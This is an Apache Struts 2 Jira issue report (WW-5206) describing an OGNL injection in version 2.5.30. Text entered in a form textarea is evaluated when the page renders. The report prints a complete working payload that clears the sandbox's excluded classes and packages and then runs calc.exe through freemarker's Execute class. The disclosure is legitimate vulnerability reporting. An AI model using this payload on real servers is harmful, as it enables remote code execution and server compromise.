Benjamin Lepeigneul created WW-5206:
---------------------------------------

             Summary: OGNL execute arbitrary code
                 Key: WW-5206
                 URL: https://issues.apache.org/jira/browse/WW-5206
             Project: Struts 2
          Issue Type: Bug
          Components: Core
    Affects Versions: 2.5.30
            Reporter: Benjamin Lepeigneul


Hi,

 

I can run arbitrary code with version of struts 2 - 2.5.30.

 

+*JSP code :*+

<s:textarea
label="%\{getText('information.message.erreur')}"
id="messageErreurTexte"
name="formInformation.message"
cssClass="input-messageErreur"
value="${pageInformation.message}"
/>

 

+*If I write this text in my form input textarea :*+

%\{(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
 +
(#request.map.setBean(#request.get('struts.valueStack')) == 
true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
 +
(#request.map2.setBean(#request.get('map').get('context')) == 
true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
 +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == 
true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet())
 == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet())
 == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec(\{'calc.exe'}))}



Whenever the page is displayed, the binary calc.exe is executed.

 

My generic struts params :
 * struts.ognl.allowStaticMethodAccess = true
 * struts.ognl.expressionMaxLength not set
 * struts.devMode = false
 * struts.ui.theme = simple

 

Is it normal ?

 

Thanks.



--
This message was sent by Atlassian Jira
(v8.20.10#820010)

Reply via email to